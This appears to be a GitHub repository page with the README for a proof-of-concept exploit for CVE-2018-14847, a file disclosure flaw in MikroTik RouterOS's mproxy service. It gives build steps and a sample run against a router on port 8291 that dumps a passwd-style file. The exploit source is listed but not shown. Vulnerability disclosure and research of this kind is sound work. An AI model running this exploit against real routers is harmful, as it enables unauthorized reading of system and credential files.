Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
src Initial public commit Oct 5, 2018
CMakeLists.txt
README.md

README.md

CVE-2018-14847 Proof of Concept

This is an implementation of CVE-2018-14847 which is a file disclosure vulnerability affecting the mproxy binary in Router OS up to 6.42.

Compilation

This code was tested on Ubuntu 18.04. Install the following dependencies:

sudo apt install libboost-all-dev cmake

To compile simply do the following:

cd routeros/poc/cve-2018-14847
mkdir build
cd build
cmake ..

Usage

albinolobster@ubuntu:~/routeros/poc/cve-2018-14847/build$ ./cve_2018_14847_poc --ip 192.168.1.103 --port 8291

=== File Contents (size: 69) ===
nobody:*:99:99:nobody:/tmp:/bin/sh
root::0:0:root:/home/root:/bin/sh
You can’t perform that action at this time.